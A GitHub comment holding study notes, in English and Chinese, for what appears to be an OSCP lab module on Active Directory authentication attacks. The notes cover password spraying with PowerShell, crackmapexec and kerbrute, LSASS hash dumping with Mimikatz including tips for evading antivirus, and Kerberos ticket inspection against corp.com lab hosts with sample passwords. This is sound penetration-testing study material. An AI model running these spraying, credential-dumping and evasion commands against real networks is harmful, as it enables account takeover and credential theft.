WDavid404
commented
7 months ago 22.2. Performing Attacks on Active Directory Authentication
- Use password attacks to obtain valid user credentials
- Abuse enabled user account options
- Abuse the Kerberos SPN authentication mechanism
- Forge service tickets
- Impersonate a domain controller to retrieve any domain user credentials
22.2.1. Password Attacks
we must be aware of account lockouts.
PS C:\Users\jeff> net accounts
Password spraying attacks
- Authenticating using DirectoryEntry
PS C:\Users\jeff> $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
PS C:\Users\jeff> $PDC = ($domainObj.PdcRoleOwner).Name
PS C:\Users\jeff> $SearchString = "LDAP://"
PS C:\Users\jeff> $SearchString += $PDC + "/"
PS C:\Users\jeff> $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
PS C:\Users\jeff> $SearchString += $DistinguishedName
PS C:\Users\jeff> New-Object System.DirectoryServices.DirectoryEntry($SearchString, "pete", "Nexus123!")
2. leverage SMB
The second kind of password spraying attack against AD users leverages SMB. This is one of the traditional approaches of password attacks in AD and comes with some drawbacks. For example, for every authentication attempt, a full SMB connection has to be set up and then terminated. As a result, this kind of password attack is very noisy due to the generated network traffic. It is also quite slow in comparison to other techniques.
Tool: crackmapexeckali@kali:~$ cat users.txt dave jen pete
kali@kali:~$ crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success
拡張：利用crackmapexec查找pete是哪个machine的admin。
显示Pwn3d!的则是admin
`crackmapexec smb ip_list -u pete -p 'Nexus123!' -d corp.com --continue-on-success`
<img width="1433" alt="image" src="https://github.com/WDavid404/OSCP/assets/137129330/c1767744-e41a-408b-887a-66b9cf15b0bb">
【扩展】crackmapexe还可以支持 --share
`crackmapexec smb 192.168.50.242 -u john -p "dqsTwTpZPn#nL" --shares`
==》 to list the SMB shares and their permissions on MAILSRV1（192.168.50.242）
3. using TGT
The advantage of this technique is that it only uses two UDP frames to determine whether the password is valid, as it sends only an AS-REQ and examines the response.PS C:\Tools> type .\usernames.txt pete dave jen
PS C:\Tools> .\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
_If you receive a network error, make sure that the encoding of usernames.txt is ANSI. You can use Notepad's Save As functionality to change the encoding._
22.1. Understanding Active Directory Authentication
22.1.1. NTLM Authentication
NTLM authentication is used when a client authenticates to a server by IP address (instead of by hostname), or if the user attempts to authenticate to a hostname that is not registered on the Active Directory-integrated DNS server. Likewise, third-party applications may choose to use NTLM authentication instead of Kerberos.
NTLM is considered a fast-hashing algorithm since short passwords can be cracked quickly using modest equipment
Even with its relative weaknesses, completely disabling and blocking NTLM authentication requires extensive planning and preparation as it's an important fallback mechanism and used by many third-party applications. Therefore, we'll encounter enabled NTLM authentication in a majority of assessments.
22.1.2. Kerberos Authentication
A KDC service runs on each domain controller and is responsible for session tickets and temporary session keys to users and computers. The domain controller, acting as a KDC, also maintains the Authentication Server service. The AS-REQ (Authentication Server Request) contains a timestamp that is encrypted using a hash derived from the password of the user and their username.
When the domain controller receives the request, it looks up the password hash associated with the specific user in the ntds.dit file and attempts to decrypt the timestamp. If the decryption process is successful and the timestamp is not a duplicate, the authentication is considered successful. Note: If the timestamp is a duplicate, it could indicate evidence of a potential replay attack.
a Ticket Granting Service Request (TGS-REQ) packet that consists of the current user and a timestamp encrypted with the session key, the name of the resource, and the encrypted TGT.
22.1.3. Cached AD Credentials
In modern versions of Windows, these hashes are stored in the Local Security Authority Subsystem Service (LSASS) memory space. The LSASS process is part of the operating system and runs as SYSTEM, we need SYSTEM (or local administrator) permissions to gain access to the hashes stored on a target. Because of this, we often have to start our attack with a local privilege escalation in order to retrieve the stored hashes.
The most popular of these tools is Mimikatz.
Due to the mainstream popularity of Mimikatz and well-known detection signatures, consider avoiding using it as a standalone application and use methods discussed in the Antivirus Evasion Module instead. For example, execute Mimikatz directly from memory using an injector like PowerShell, or use a built-in tool like Task Manager to dump the entire LSASS process memory, move the dumped data to a helper machine, and then load the data into Mimikatz
Start a PowerShell session as Administrator.
An effective defensive technique to prevent tools such as Mimikatz from extracting hashes is to enable additional LSA Protection. The LSA includes the LSASS process. By setting a registry key, Windows prevents reading memory from this process. We'll discuss how to bypass this and other powerful defensive mechanisms in-depth in OffSec's Evasion Techniques and Breaching Defenses course, PEN-300.
Armed with these hashes, we could attempt to crack them and obtain the cleartext password as we did in Password Attacks.
Abusing TGT and service tickets
Open a second PowerShell window and list the contents of the SMB share on WEB04 with UNC path \web04.corp.com\backup. This will create and cache a service ticket.
PS C:\Users\jeff> dir \\web04.corp.com\backupOnce we've executed the directory listing on the SMB share, we can use Mimikatz to show the tickets that are stored in memory by entering sekurlsa::tickets.The output shows both a TGT and a TGS. Stealing a TGS would allow us to access only particular resources associated with those tickets. Alternatively, armed with a TGT, we could request a TGS for specific resources we want to target within the domain.